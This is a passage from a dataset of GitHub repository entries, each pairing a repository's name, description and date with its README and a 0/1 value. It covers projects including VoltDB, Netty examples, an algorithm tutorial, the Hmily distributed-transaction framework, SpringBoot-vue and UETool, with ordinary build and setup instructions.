Further guidance can be found in the tutorial: https://docs.voltactivedata.com/tutorial/. For more on the CLI, see the documentation: https://docs.voltactivedata.com/UsingVoltDB/clivoltdb.php.
Next Steps
====================
### Examples
You can find application examples in the "examples" directory inside this Volt Active Data kit. The Voter app ("examples/voter") is a great example to start with. See the README to learn what it does and how to get it running.
The "examples" directory provides additional examples and a README explaining how to run them.
### Tutorial
The Volt Active Data Tutorial walks you through building and running your first Volt Active Data application.
https://docs.voltactivedata.com/tutorial/
### Documentation
The _Using VoltDB_ guide and supporting documentation is comprehensive and easy to use. It's a great place for broad understanding or to look up something specific.
https://docs.voltactivedata.com/
### Go Full Cloud
For information on using VoltDB in the Cloud, see the _Volt Kubernetes Administrator's Guide_.
https://docs.voltactivedata.com/KubernetesAdmin/
What's Included
====================
If you have installed Volt Active Data from the distribution kit, you now have a directory containing this README file and several subdirectories, including:
- **bin** - Scripts for starting Volt Active Data, bulk loading data, as well as interacting with and managing the running database. Including:
- bin/voltdb - Start a Volt Active Data process.
- bin/voltadmin - CLI to manage a running cluster.
- bin/sqlcmd - SQL console.
- **doc** - Documentation, tutorials, and java-doc
- **examples** - Sample programs demonstrating the use of Volt Active Data
- **lib** - Third party libraries
- **tools** - XML schemas, monitoring plugins, and other tools
- **voltdb** - the Volt Active Data binary software itself including:
- log4j files - Logging configuration.
- voltdbclient-version.jar - Java/JVM client for connecting to VoltDB, including native Volt Active Data client and JDBC driver.
- voltdb-version.jar - The full Volt Active Data binary, including platform-specific native libraries embedded within the jar. This is a superset of the client code and can be used as a native client driver or JDBC driver.
Commercial Volt Active Data Differences
====================
Volt Active Data offers sandboxes and a pre-built trial version of Volt Active Data for application developers who want to try out the product. See the Volt Active Data website for more information.
https://voltactivedata.com/
Getting Help & Providing Feedback
====================
If you have any questions or comments about Volt Active Data, we encourage you to reach out to the Volt Active Data team and community through stack overflow:
https://stackoverflow.com/questions/tagged/voltdb.
Licensing
====================
This program is free software distributed under the terms of the GNU Affero General Public License Version 3. See the accompanying LICENSE file for details on your rights and responsibilities with regards to the use and redistribution of Volt Active Data software.
| 0 |
tinkerpop/gremlin | A Graph Traversal Language (no longer active - see Apache TinkerPop) | 2009-11-20T05:35:34Z | null | null | 0 |
Xunzhuo/Algorithm-Guide | Xunzhuo`s Tutorials of Algorithm and Data Structure 🚀🚀🚀 | 2020-04-29T00:04:11Z | null | <div align ="center">
<h1>
Algorithm Guide
</h1>
</div>
本仓库带你系统掌握程序员必知必会的**算法**和**数据结构**
本仓库主要有**两个分支**:
+ **master分支**:最近的新分支,也是以后日常维护的主分支,内容为算法和数据结构的教程。
+ **Collections 分支**:以前的主分支,整理了算法和数据结构的资料,现作为辅助分支:[这里访问](https://github.com/Xunzhuo/Algorithms-in-4-Steps/tree/Collections)
> **算法部分**基本完成,**数据结构**还有很多未完成部分,空闲时会加快完善
## 目录:
1. [算法篇](#算法篇)
2. [数据结构篇](#数据结构篇)
3. [刷题练习篇](#刷题练习篇)
## 算法篇
+ [一、复杂度分析](algorithm/analysis.md)
+ [二、高精度算法](algorithm/big-num.md)
+ [三、排序算法](algorithm/sort.md)
+ [四、递推算法](algorithm/recursion.md)
+ [五 、递归算法](algorithm/recursion-2.md)
+ [六、分治算法](algorithm/bi-divide.md)
+ [七、贪心算法](algorithm/greedy.md)
+ [八、广度优先搜索算法](algorithm/bfs.md)
+ [九、深度优先搜索算法](algorithm/dfs.md)
+ [十、回溯算法](algorithm/backtrace.md)
+ [十一、动态规划](algorithm/dynamic%20programming.md)
+ [十二、字符串算法](algorithm/string.md)
## 数据结构篇
+ [一、栈](data-structure/stack.md)
+ [二、队列](data-structure/queue.md)
+ [三、树](data-structure/tree.md)
+ [四、堆](data-structure/heap.md)
+ [五、图论算法 ](data-structure/graph.md)
+ [六、并查集](data-structure/DisjointSets.md)
+ [七、最小生成树](data-structure/kruskal.md)
+ [八、拓扑排序与关键路径](data-structure/key-path.md)
+ [九、线段树](data-structure/line-tree.md)
+ [十、树状数组](data-structure/tree-array.md)
## 刷题练习篇
在掌握了重要的算法和数据结构之后,需要练习巩固
#### **网站的选择?**
推荐 **LeetCode**,[这里访问](https://leetcode-cn.com/)
#### **刷哪些题目?**
1. 如果你**时间紧张**:可以练习**LeetCode**的**热门推荐**:
![image-20201220164553273](https://picreso.oss-cn-beijing.aliyuncs.com/image-20201220164553273.png)
比如:[Leetcode 热题 Hot 100](https://leetcode-cn.com/problemset/leetcode-hot-100/) 和 [LeetCode 精选 TOP 面试题](https://leetcode-cn.com/problemset/leetcode-top/)
2. 如果你**时间充裕**:可以按以下分类,系统练习:
+ **专题一:数组(`Chapter1_Array`)**
+ **专题二:链表(`Chapter2_list`)**
+ **专题三:字符串(`Chapter3_String`)**
+ **专题四:栈(`Chapter4_Stack`)**
+ **专题五:树(`Chapter5_Tree`)**
+ **专题六:排序(`Chapter6_Sort`)**
+ **专题七:查找(`Chapter7_Search`)**
+ **专题八:暴力解法(`Chapter8_Violence`)**
+ **专题九:BFS(`Chapter9_BFS`)**
+ **专题十:DFS(`Chapter10_DFS`)**
+ **专题十一:分治(`Chapter11_Paritition`)**
+ **专题十二:贪心(`Chapter12_Greedy`)**
+ **专题十三:动态规划(`Chapter13_DP`)**
+ **专题十四:图(`Chapter14_Graph`)**
+ **专题十五:不定类型(`Chapter15_Unspecific`)**
#### 练习策略
+ **第一遍**:**先思考**,如果没思路,可以看题解,结合其他人的题解刷。总结自己是否在思路上有问题,或者是否算法与数据结构基础上有问题,掌握本题的类型,思考方式,最优题解。
+ **第二遍**:**回忆最优解法**,**尝试直接写**,并与之前自己写过的解答作比对,总结问题和方法。
+ **第三遍**:提升**刷题速度**和**一题多解**,拿出一个题,就能够知道其考察重点,解题方法,在短时间内写出解答,并且思考多种解决办法。
| 1 |
normanmaurer/netty-in-action | null | 2012-10-23T05:56:42Z | null | This Repository contains the source-code for all chapters of the book [Netty in Action](http://manning.com/maurer)
by Norman Maurer and Marvin Allen Wolfthal.
Latest version: https://github.com/normanmaurer/netty-in-action/tree/2.0-SNAPSHOT
Enjoy! Feedback and PR's welcome!
Prerequisites
JDK 1.7.0u71 or better
Maven 3.3.9 or better
If you want to build everything at once, from the top directory run
mvn install
If you want to build only single projects then from the top directory first run
mvn install -pl utils
This will make the utils jar available to all the projects.
| 0 |
RichardWarburton/java-8-lambdas-exercises | Exercises and Answers for Java 8 Lambdas book | 2014-02-09T23:40:54Z | null | java-8-lambdas-exercises
========================
This git repository contains support material for the [Java 8 Lambdas](https://www.oreilly.com/library/view/java-8-lambdas/9781449370831/) book.
Project Structure
-----------------
The overall code layout is:
* Code is in `src/main/java`
* Tests are in `src/test/java`
Within these directories things are organised by package:
* Exercises which involve code in `com.insightfullogic.java8.exercises`
* Answers are in `com.insightfullogic.java8.answers` Coding questions are all in the form of failing tests, and the package-info.java
contains the correct answer to questions which don't involve writing code, such as yes/no questions. For example here are the chapter 2 answers:
https://github.com/RichardWarburton/java-8-lambdas-exercises/blob/master/src/main/java/com/insightfullogic/java8/answers/chapter2/package-info.java
* Code Examples/Listings are in `com.insightfullogic.java8.examples`
The sub-packages then correspond to the chapter number, so the examples for chapter 4 are in
`com.insightfullogic.java8.examples.chapter4`.
Reporting Issues
----------------
If you find any issues with the exercises or examples then please submit them via the
[O'Reilly Errata Page](http://www.oreilly.com/catalog/errata.csp?isbn=0636920030713).
| 0 |
waylau/netty-4-user-guide-demos | Netty demos. (Netty 案例大全) | 2015-02-11T03:33:47Z | null | # Netty demos. (Netty 案例大全)
Demos of [Netty 4.x User Guide](https://github.com/waylau/netty-4-user-guide) 《Netty 4.x 用户指南》/《Netty原理解析与开发实战》,文中用到的例子源码。
## 版本
涉及的相关技术及版本如下。
* Netty 4.1.52.Final
* Jackson 2.10.1
* JUnit 5.5.2
## 示例
包含示例如下:
* [Java标准I/O实现Echo服务器、客户端](netty4-demos/src/main/java/com/waylau/java/demo/net)
* [Java NIO实现Echo服务器、客户端](netty4-demos/src/main/java/com/waylau/java/demo/nio)
* [Java AIO实现Echo服务器、客户端](netty4-demos/src/main/java/com/waylau/java/demo/aio)
* [Netty实现Echo服务器、客户端](netty4-demos/src/main/java/com/waylau/netty/demo/echo)
* [Netty实现丢弃服务器](netty4-demos/src/main/java/com/waylau/netty/demo/discard)
* [Netty实现时间服务器](netty4-demos/src/main/java/com/waylau/netty/demo/time)
* [Java ByteBuffer使用案例](netty4-demos/src/main/java/com/waylau/java/demo/buffer)
* [Netty ByteBuf使用案例](netty4-demos/src/main/java/com/waylau/netty/demo/buffer)
* [Netty ByteBuf的三种使用模式](netty4-demos/src/main/java/com/waylau/netty/demo/buffer)
* [Netty实现无连接协议Echo服务器、客户端](netty4-demos/src/main/java/com/waylau/netty/demo/echo)
* [Java线程池示例](netty4-demos/src/main/java/com/waylau/java/demo/concurrent/ThreadPoolExecutorDemo.java)
* [Java Reactor示例](netty4-demos/src/main/java/com/waylau/java/demo/reactor)
* [自定义基于换行的解码器](netty4-demos/src/main/java/com/waylau/java/demo/decoder)
* [TCP客户端](netty4-demos/src/main/java/com/waylau/java/TcpClient.java)
* [自定义编码器](netty4-demos/src/main/java/com/waylau/java/demo/encoder)
* [自定义编解码器](netty4-demos/src/main/java/com/waylau/java/demo/codec)
* [实现心跳机制](netty4-demos/src/main/java/com/waylau/java/demo/heartbeat)
* [基于Netty的对象序列化](netty4-demos/src/main/java/com/waylau/java/demo/codec/serialization)
* [基于Jackson的JSON序列化](netty4-demos/src/main/java/com/waylau/java/demo/codec/jackcon)
* [基于SSL/TSL的双向认证Echo服务器和客户端](netty4-demos/src/main/java/com/waylau/java/demo/secureecho)
* [基于HTTP的Web服务器](netty4-demos/src/main/java/com/waylau/java/demo/httpserver)
* [基于HTTP/2的Web服务器和客户端](netty4-demos/src/main/java/com/waylau/java/demo/http2)
* [基于WebSocket的聊天室](netty4-demos/src/main/java/com/waylau/java/demo/websocketchat)
* [lite-monitoring](https://github.com/waylau/lite-monitoring)
* [lite-monitoring-ui](https://github.com/waylau/lite-monitoring-ui)
* 陆续整理中...
## 配套书籍
* 开源书《[Netty 4.x User Guide](https://github.com/waylau/netty-4-user-guide)》
* 正式出版物《[Netty原理解析与开发实战](https://book.douban.com/subject/35317298/)》 | 1 |
5hmlA/Jgraph | :fire: 一个视觉效果还不错的图表控件(停止维护了,不建议直接用到项目) | 2016-05-07T12:57:27Z | null | ## Star History
[![Star History Chart](https://api.star-history.com/svg?repos=5hmlA/Jgraph&type=Date)](https://star-history.com/#5hmlA/Jgraph&Date)
# Jgraph
[![License](https://img.shields.io/badge/license-Apache%202-green.svg?style=flat-square)](https://www.apache.org/licenses/LICENSE-2.0)
[![](https://img.shields.io/badge/Jgraph-download-brightgreen.svg?style=flat-square)](http://fir.im/y57x?release_id=57b1c789ca87a87b36000f2b)
[![](https://jitpack.io/v/mychoices/Jgraph.svg)](https://jitpack.io/#mychoices/Jgraph)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/2.gif)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/4.gif)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/6.gif)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/13.gif)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/15.gif)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/22.gif)
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/101.gif)
2. [Gradle](https://github.com/mychoices/Jgraph/blob/master/README.md#gradle)
3. [Demo](https://github.com/mychoices/Jgraph/blob/master/README.md#demo)
4. [Use Guide](https://github.com/mychoices/Jgraph/blob/master/README.md#use-guide)
1. [图表风格](https://github.com/mychoices/Jgraph/blob/master/README.md#graphstyle)
2. [滚动](https://github.com/mychoices/Jgraph/blob/master/README.md#scrollable)
2. [纵轴](https://github.com/mychoices/Jgraph/blob/master/README.md#纵轴)
3. [柱-动画](https://github.com/mychoices/Jgraph/blob/master/README.md#barshowstyle)
4. [柱-颜色](https://github.com/mychoices/Jgraph/blob/master/README.md#barcolor)
4. [线-动画](https://github.com/mychoices/Jgraph/blob/master/README.md#lineshowstyle)
4. [线-风格](https://github.com/mychoices/Jgraph/blob/master/README.md#linestyle)
5. [线-断0](https://github.com/mychoices/Jgraph/blob/master/README.md#linemode)
7. [线-颜色](https://github.com/mychoices/Jgraph/blob/master/README.md#linecolor)
8. [选中](https://github.com/mychoices/Jgraph/blob/master/README.md#select)
9. [切换数据](https://github.com/mychoices/Jgraph/blob/master/README.md#datachange)
5. [Versions](https://github.com/mychoices/Jgraph/blob/master/README.md#versions)
6. [Todo](https://github.com/mychoices/Jgraph/blob/master/README.md#todo)
7. [License](https://github.com/mychoices/Jgraph/blob/master/README.md#license)
#Gradle
allprojects {
repositories {
...
maven { url "https://jitpack.io" }
}
}
dependencies {
compile 'com.github.mychoices:Jgraph:v1.2'
}
#DEMO
demo下载地址
[![](http://firicon.fir.im/2413a7e605e2ee423e8ca8f38e180320eba0cddc)](http://fir.im/y57x?release_id=57b1c789ca87a87b36000f2b)
#User Guide
---
###*自定义属性*
```
<attr name="graphstyle" format="enum">
<enum name="bar" value="0"/>
<enum name="line" value="1"/>
</attr>
<attr name="scrollable" format="boolean"/>
<attr name="visiblenums" format="integer"/>
<attr name="showymsg" format="boolean"/>
<attr name="normolcolor" format="color"/>
<attr name="activationcolor" format="color"/>
<attr name="linestyle" format="enum">
<!--折线-->
<enum name="broken" value="0"/>
<!--曲线-->
<enum name="curve" value="1"/>
</attr>
<attr name="linemode" format="enum">
<!--链接每一个点-->
<enum name="everypoint" value="1"/>
<!--跳过0的点-->
<enum name="jump0" value="2"/>
<!--跳过的0点用虚线链接-->
<enum name="dash0" value="3"/>
</attr>
<attr name="linewidth" format="dimension"/>
<attr name="lineshowstyle" format="enum">
<enum name="drawing" value="0"/>
<enum name="section" value="1"/>
<enum name="fromline" value="2"/>
<enum name="fromcorner" value="3"/>
<enum name="aswave" value="4"/>
</attr>
```
## GraphStyle
```
setGraphStyle(@GraphStyle int graphStyle) //柱状图 和 折线图
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/01.gif)
## Scrollable
```
setScrollAble(boolean )
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/02.gif)
## 纵轴
```
setYaxisValues(@NonNull String... showMsg)
setYaxisValues(int max, int showYnum)
setYaxisValues(int min, int max, int showYnum)
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/03.gif)
## BarShowStyle
```
setBarShowStyle(@BarShowStyle int barShowStyle)
/**
* 水波 方式生长
*/
int BARSHOW_ASWAVE
/**
* 线条 一从直线慢慢变成折线/曲线
*/
int BARSHOW_FROMLINE
/**
* 柱形条 由某个往外扩散
*/
int BARSHOW_EXPAND
/**
* 一段一段显示
*/
int BARSHOW_SECTION
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/04.gif)
## barcolor
```
setNormalColor(@ColorInt int normalColor)
setPaintShaderColors(@ColorInt int... colors)
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/05.gif)
## LineStyle
```
setLineStyle(@LineStyle int lineStyle)
/**
* 折线
*/
int LINE_BROKEN = 0;
/**
* 曲线
*/
int LINE_CURVE = 1;
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/06.gif)
## LineShowStyle
```
setLineShowStyle(@LineShowStyle int lineShowStyle)
/**
* 线条从无到有 慢慢出现
*/
int LINESHOW_DRAWING
/**
* 线条 一段一段显示
*/
int LINESHOW_SECTION
/**
* 线条 一从直线慢慢变成折线/曲线
*/
int LINESHOW_FROMLINE
/**
* 从左上角 放大
*/
int LINESHOW_FROMCORNER
/**
* 水波 方式展开
*/
int LINESHOW_ASWAVE
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/07.gif)
## LineMode
```
setLineMode(@LineMode int lineMode)
/**
* 连接每一个点
*/
int LINE_EVERYPOINT
/**
* 跳过0 断开
*/
int LINE_JUMP0
/**
* 跳过0 用虚线链接
*/
int LINE_DASH_0
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/08.gif)
## linecolor
```
setNormalColor(@ColorInt int normalColor)
setPaintShaderColors(@ColorInt int... colors)
setShaderAreaColors(@ColorInt int... colors)
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/09.gif)
## select
```
setSelected(int selected)
setSelectedMode(@SelectedMode int selectedMode)
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/010.gif)
# datachange
```
aniChangeData(List<Jchart> jchartList)
```
![](https://raw.githubusercontent.com/mychoices/Jgraph/master/gif/011.gif)
# Versions
# Todo
Todo
# License
Copyright 2016 Yun
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
dromara/hmily | Distributed transaction solutions | 2017-09-28T06:29:01Z | null | <p align="center" >
<a href="https://dromara.org"><img src="https://yu199195.github.io/images/hmily/hmily-logo.png" width="45%"></a>
</p>
<p align="center">
<strong>Financial-level flexible distributed transaction solution</strong>
</p>
<p align="center">
<a href="https://dromara.org">https://dromara.org/</a>
</p>
<p align="center">
English | <a href="https://github.com/dromara/hmily/blob/master/README_CN.md">简体中文</a>
</p>
<p align="center">
<a target="_blank" href="https://search.maven.org/search?q=g:org.dromara%20AND%20hmily">
<img src="https://img.shields.io/maven-central/v/org.dromara/hmily.svg?label=maven%20central" />
</a>
<a target="_blank" href="https://github.com/Dromara/hmily/blob/master/LICENSE">
<img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg?label=license" />
</a>
<a target="_blank" href="https://app.codacy.com/app/Dromara/hmily?utm_source=github.com&utm_medium=referral&utm_content=Dromara/hmily&utm_campaign=Badge_Grade_Settings">
<img src="https://api.codacy.com/project/badge/Grade/2f0a0191b02448e6919aca6ce12a1584" />
</a>
<a target="_blank" href="https://www.oracle.com/technetwork/java/javase/downloads/index.html">
<img src="https://img.shields.io/badge/JDK-8+-green.svg" />
</a>
<a target="_blank" href="https://github.com/dromara/hmily">
<img src="https://github.com/dromara/hmily/workflows/build/badge.svg" />
</a>
<a href="https://codecov.io/gh/dromara/hmily">
<img src="https://codecov.io/gh/dromara/hmily/branch/master/graph/badge.svg"/>
</a>
<a target="_blank" href='https://gitee.com/dromara/hmily/stargazers'>
<img src='https://gitee.com/dromara/hmily/badge/star.svg?theme=gvp' alt='gitee stars'/>
</a>
<a target="_blank" href='https://github.com/dromara/hmily'>
<img src="https://img.shields.io/github/forks/dromara/hmily.svg" alt="github forks"/>
</a>
<a target="_blank" href='https://github.com/dromara/hmily'>
<img src="https://img.shields.io/github/stars/dromara/hmily.svg" alt="github stars"/>
</a>
<a target="_blank" href='https://github.com/dromara/hmily'>
<img src="https://img.shields.io/github/contributors/dromara/hmily.svg" alt="github contributors"/>
</a>
<a href="https://github.com/Dromara/hmily">
<img src="https://tokei.rs/b1/github/Dromara/hmily?category=lines"/>
</a>
</p>
<br/>
-------------------------------------------------------------------------------
# Panorama of distributed transaction solutions
![](https://yu199195.github.io/images/hmily/hmily.png)
-------------------------------------------------------------------------------
# Features
* high reliability :supports abnormal transaction rollback in distributed scenarios, and abnormal recovery over time to prevent transaction suspension
* usability :provide zero-invasive `Spring-Boot`, `Spring-Namespace` to quickly integrate with business systems
* high performance :decentralized design, fully integrated with business systems, naturally supporting cluster deployment
* observability :metrics performance monitoring of multiple indicators, and admin management background UI display
* various RPC : support `Dubbo`, `SpringCloud`, `Motan`, `Sofa-rpc`, `brpc`, `tars` and other well-known RPC frameworks
* log storage : support `mysql`, `oracle`, `mongodb`, `redis`, `zookeeper` etc.
* complex scene : support RPC nested call transaction
-------------------------------------------------------------------------------
# Necessary premise
* must use `JDK8+`
* TCC mode must use a `RPC` framework, such as: `Dubbo`, `SpringCloud`, `Montan`
-------------------------------------------------------------------------------
# TCC mode
![](https://yu199195.github.io/images/hmily/hmily-tcc.png)
when using the `TCC` mode, users provide three methods: `try`, `confirm`, and `cancel` according to their business needs.
And the `confirm` and `cancel` methods are implemented by themselves, and the framework is only responsible for calling them to achieve transaction consistency。
-------------------------------------------------------------------------------
# TAC mode
![](https://yu199195.github.io/images/hmily/hmily-tac.png)
When the user uses the `TAC` mode, the user must use a relational database for business operations, and the framework will automatically generate a `rollback SQL`,
When the business is abnormal, the `rollback SQL` will be executed to achieve transaction consistency。
-------------------------------------------------------------------------------
# Documentation
[![EN doc](https://img.shields.io/badge/document-English-blue.svg)](https://dromara.org/projects/hmily)
[![CN doc](https://img.shields.io/badge/文档-中文版-blue.svg)](https://dromara.org/zh/projects/hmily)
If you want to use it, you can refer to [Quick Start](https://dromara.org/projects/hmily)
# About Hmily
Hmily is a flexible distributed transaction solution that provides `TCC` and `TAC` modes。
It can be easily integrated by business with zero intrusion and rapid integration。
In terms of performance, log storage is asynchronous (optional) and asynchronous execution is used, without loss of business methods。
It was previously developed by me personally. At present, I have restarted at JD Digital. The future will be a distributed transaction solution for financial scenarios.。
-------------------------------------------------------------------------------
# Follow the trend
[![Stargazers over time](https://starchart.cc/yu199195/hmily.svg)](https://starchart.cc/yu199195/hmily)
-------------------------------------------------------------------------------
# User wall
# Support
![](https://yu199195.github.io/images/qq.png) ![](https://yu199195.github.io/images/public.jpg)
| 0 |
udacity/ud851-Exercises | null | 2016-11-02T04:41:25Z | null | # Toy App Exercise Repo
This is a exercise repository for Developing Android Apps. You can learn more about how to use this repository [here](https://classroom.udacity.com/courses/ud851/lessons/93affc67-3f0b-4f9b-b3a4-a7a26f241a86/concepts/115d08bb-f114-46fa-b693-5c6ce1445c07)
| 0 |
boylegu/SpringBoot-vue | A example demo base SpringBooot with vueJS2.x + webpack2.x as Java full stack web practice | 2017-06-20T07:07:19Z | null | [![jdkversions](https://img.shields.io/badge/Java-1.7%2B-yellow.svg)]()
[![vueversions](https://img.shields.io/badge/vue.js-2.2.x-brightgreen.svg)]()
[![es2015](https://img.shields.io/badge/ECMAScript-6-green.svg)]()
[![ver](https://img.shields.io/badge/release-v0.1-red.svg)]()
[![MIT](https://img.shields.io/badge/license-MIT-ff69b4.svg)]()
<p align="center">
<a href ="##"><img alt="spring_vue" src="https://github.com/boylegu/SpringBoot-vue/blob/master/images/newlogo.jpg?raw=true"></a></p>
<h4 align="center" style="color: #3399FF">
Convenient & efficient and better performance for Java microservice full stack.
</h4>
<p align="center" style="color: #FF66FF">Commemorate the 6 anniversary of enter the profession.</p>
<p align="center" style="color: #FF9933">Give beginner as a present.</p>
<p align="right" style="color: #3399FF">———————By Boyle Gu</p>
### [Chinese README[中文]](https://github.com/boylegu/SpringBoot-vue/blob/master/README-CN.md)
## Overview
Now about Web develop fields. It's very bloated, outmoded and some development efficiency have a lower with each other than other dynamic language when people refers to Java. Even before somebody shouts loudly ‘Java was died’. But is this really the case? In fact, If you often attention to Java in long time, your feel is too deep. Though it's many disadvantages and verbose. It couldn't be denied that Java is still best language in industry member, and advance with the times. This project is a CRUD demo example base Spring Boot with Vue2 + webpack2. I hope pass thought this project for express Java microservice fast full stack base web practice.
## Why Spring Boot
Spring is a very popular Java-based framework for building web and enterprise applications. Unlike many other frameworks, which focus on only one area, Spring framework provides a wide verity of features addressing the modern business needs via its portfolio project. The main goal of the Spring Boot framework is to reduce overall development time and increase efficiency by having a default setup for unit and integration tests.
In relation to Spring,
Spring Boot aims to make it easy to create Spring-powered, production-grade applications and services with minimum fuss. It takes an opinionated view of the Spring platform so that new and existing users can quickly get to the bits they need.
The diagram below shows Spring Boot as a point of focus on the larger Spring ecosystem:
<p align="center">
<a href ="##"><img alt="spring_vue" src="https://github.com/boylegu/SpringBoot-vue/blob/master/images/springboot.png?raw=true"></a></p>
The primary goals of Spring Boot are:
- To provide a radically faster and widely accessible ‘getting started’ experience for all Spring development.
- To be opinionated out of the box, but get out of the way quickly as requirements start to diverge from the defaults.
- To provide a range of non-functional features that are common to large classes of projects (e.g. embedded servers, security, metrics, health checks, externalized configuration).
**Spring Boot does not generate code and there is absolutely no requirement for XML configuration.**
Below are this project code snippet. Do you think simple?
~~~~java
@RestController
@RequestMapping("/api/persons")
public class MainController {
@RequestMapping(
value = "/detail/{id}",
method = RequestMethod.GET,
produces = MediaType.APPLICATION_JSON_VALUE
)
public ResponseEntity<Persons> getUserDetail(@PathVariable Long id) {
/*
* @api {GET} /api/persons/detail/:id details info
* @apiName GetPersonDetails
* @apiGroup Info Manage
* @apiVersion 1.0.0
*
* @apiExample {httpie} Example usage:
*
* http GET http://127.0.0.1:8000/api/persons/detail/1
*
* @apiSuccess {String} email
* @apiSuccess {String} id
* @apiSuccess {String} phone
* @apiSuccess {String} sex
* @apiSuccess {String} username
* @apiSuccess {String} zone
*/
Persons user = personsRepository.findById(id);
return new ResponseEntity<>(user, HttpStatus.OK);
}
}
~~~~
## Why MVVM
Although it seems similar to MVC (except with a "view model" object in place of the controller), there's one major difference — the view owns the view model. Unlike a controller, a view model has no knowledge of the specific view that's using it.
This seemingly minor change offers huge benefits:
1. View models are testable. Since they don't need a view to do their work, presentation behavior can be tested without any UI automation or stubbing.
2. View models can be used like models. If desired, view models can be copied or serialized just like a domain model. This can be used to quickly implement UI restoration and similar behaviors.
3. View models are (mostly) platform-agnostic. Since the actual UI code lives in the view, well-designed view models can be used on the iPhone, iPad, and Mac, with only minor tweaking for each platform.
4. Views and view controllers are simpler. Once the important logic is moved elsewhere, views and VCs become dumb UI objects. This makes them easier to understand and redesign.
In short, replacing MVC with MVVM can lead to more versatile and rigorous UI code.
> *In short, replacing MVC with MVVM can lead to more versatile and rigorous UI code.*
## Why to choose Vue.js
Vue.js is relatively new and is gaining lot of traction among the community of developers. VueJs works with MVVM design paradigm and has a very simple API. Vue is inspired by AngularJS, ReactiveJs and updates model and view via two way data binding.
Components are one of the most powerful features of Vue. They help you extend basic HTML elements to encapsulate reusable code. At a high level, components are custom elements that Vue’s compiler attaches behavior to.
<p align="center">
<a href ="##"><img style="box-shadow: 8px 8px 5px #888888;"alt="spring_vue" src="http://i2.muimg.com/536217/5ae4b10becac44b0.png"></a>
## What's Webpack
Webpack is a powerful tool that bundles your app source code efficiently and loads that code from a server into a browser. It‘s excellent solution in frontend automation project.
## Demo
This's a sample ShangHai people information system as example demo.
[![demo-image](https://github.com/boylegu/SpringBoot-vue/blob/master/images/demo.gif?raw=true)]()
### Feature (v0.1)
- Spring Boot (Back-end)
- Build RestFul-API on SpringBoot with `@RequestMapping` and base CRUD logic implementation
- Handle CORS(Cross-origin resource sharing)
- Unit test on SpringBoot
- Support hot reload
- Add interface documents about it's rest-api
- Pagination implementation of RestFul-API with JPA and SpringBoot
- VueJS & webpack (front-end)
- Follow ECMAScript 6
- What about coding by single file components in vueJS
- Simple none parent-child communication and parent-child communication
- Interworking is between data and back-end
- How grace import third JS package in vue
- Handle format datetime
- Pagination implementation
- Reusable components
- DbHeader.vue
- DbFooter.vue (sticky footer)
- DbFilterinput.vue
- DbModal.vue
- DbSidebar.vue
- DbTable.vue
- Config front-end env on webpack2 (include in vue2, handle static file, build different environment...... with webpack2)
### Main technology stack
- Java 1.8+
- Spring Boot 1.5.x
- Maven
- sqlite (not recommend, only convenience example)
- vueJS 2.x
- webpack 2.x
- element ui
- axios
### Preparation
- Please must install Java 1.8 or even higher version
- install Node.js / NPM
- Clone Repository
git clone https://github.com/boylegu/SpringBoot-vue.git
cd springboot_vue
### Installation
- Build front-end environment
cd springboot_vue/frontend
npm install
### Usage
- Run back-end server
cd springboot_vue/target/
java -jar springboot_vue-0.0.1-SNAPSHOT.jar
[![](https://github.com/boylegu/SpringBoot-vue/blob/master/images/spring_run.png?raw=true)]()
- Run Front-end Web Page
cd springboot_vue/frontend
npm run dev
> You can also run `cd springboot_vue/frontend;npm run build` and it's with Nginx in the production environment
## Future Plan
This project can be reference,study or teaching demonstration. After, I will update at every increment version in succession. In future,I have already some plan to below:
1. User Authentication
2. state manage with vuex
3. use vue-route
4. add docker deploy method
5. support yarn
... ...
## Support
1. Github Issue
2. To e-mail: gubaoer@hotmail.com
3. You can also join to QQ Group: 315308272
## Related projects
- [Sanic-Vue for Python](https://github.com/boylegu/SanicCRUD-vue)
## My Final Thoughts
```
. ____ _
/\\ / ___'_ __ _ _(_)_ __ __ _
( ( )\___ | '_ | '_| | '_ \/ _` |
\\/ ___)| |_)| | | | | || (_| |
' |____| .__|_| |_|_| |_\__, |
\ ===========|_|==============|___/== ▀
\- ▌ SpringBoot-vue ▀
- ▌ (o) ▀
/- ▌ Go Go Go ! ▀
/ =================================== ▀
██
```
| 1 |
eleme/UETool | Show/edit any view's attributions on the screen. | 2018-05-16T08:13:17Z | null | UETool [![GitHub release](https://img.shields.io/github/release/eleme/UETool.svg?style=social)](https://github.com/eleme/UETool/releases) [![platform](https://img.shields.io/badge/platform-android-brightgreen.svg)](https://developer.android.com/index.html) [![license](https://img.shields.io/badge/license-MIT-green.svg)](https://github.com/eleme/UETool/blob/master/LICENSE)
======
![](https://github.com/eleme/UETool/blob/master/art/uet_banner.jpeg)
## INTRODUCTION
[中文版](https://github.com/eleme/UETool/blob/master/README_zh.md)
UETool is a debug tool for anyone who needs to show and edit the attributes of user interface views on mobile devices. It works on Activity/Fragment/Dialog/PopupWindow or any other view.
Presently, UETool provides the following functionalities:
- Move any view on the screen (selecting view repeatedly will select its parent's view)
- Show/edit normal view's attributes such as TextView's text, textSize, textColor etc.
- Show two view's relative positions
- Show grid for checking view alignment
- Support Android P
